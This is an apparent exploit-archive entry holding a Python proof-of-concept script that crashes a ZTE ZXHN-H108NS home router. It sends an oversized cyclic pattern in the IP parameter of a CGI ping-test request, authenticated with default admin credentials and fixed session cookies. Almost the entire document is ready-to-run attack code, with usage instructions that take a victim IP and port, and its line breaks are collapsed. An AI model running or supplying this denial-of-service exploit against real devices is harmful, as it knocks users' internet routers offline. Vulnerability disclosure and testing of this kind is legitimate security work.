ZTE ZXHN-H108NS Stack Buffer Overflow / Denial Of Service

# Exploit Title: Router ZTE-H108NS - Stack Buffer Overflow (DoS)# Date: 19-11-2022# Exploit Author: George Tsimpidas # Vendor: https://www.zte.com.cn/global/# Firmware: H108NSV1.0.7u_ZRD_GR2_A68# Usage: python zte-exploit.py <victim-ip> <port># CVE: N/A # Tested on: Debian 5.18.5#!/usr/bin/python3import sysimport socketfrom time import sleephost = sys.argv[1]  # Recieve IP from userport = int(sys.argv[2])  # Recieve Port from userjunk = b"1500Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae"* 5buffer = b"GET /cgi-bin/tools_test.asp?testFlag=1&Test_PVC=0&pingtest_type=Yes&IP=192.168.1.1"+ junk + b"&TestBtn=START HTTP/1.1\r\n"buffer += b"Host: 192.168.1.1\r\n"buffer += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0)Gecko/20100101 Firefox/91.0\r\n"buffer += b"Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"buffer += b"Accept-Language: en-US,en;q=0.5\r\n"buffer += b"Accept-Encoding: gzip, deflate\r\n"buffer += b"Authorization: Basic YWRtaW46YWRtaW4=\r\n"buffer += b"Connection: Keep-Alive\r\n"buffer += b"Cookie:SID=21caea85fe39c09297a2b6ad4f286752fe47e6c9c5f601c23b58432db13298f2;_TESTCOOKIESUPPORT=1; SESSIONID=53483d25\r\n"buffer += b"Upgrade-Insecure-Requests: 1\r\n\r\n"print("[*] Sending evil payload...")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.send(buffer)sleep(1)s.close()print("[+] Crashing boom boom ~ check if target is down ;)")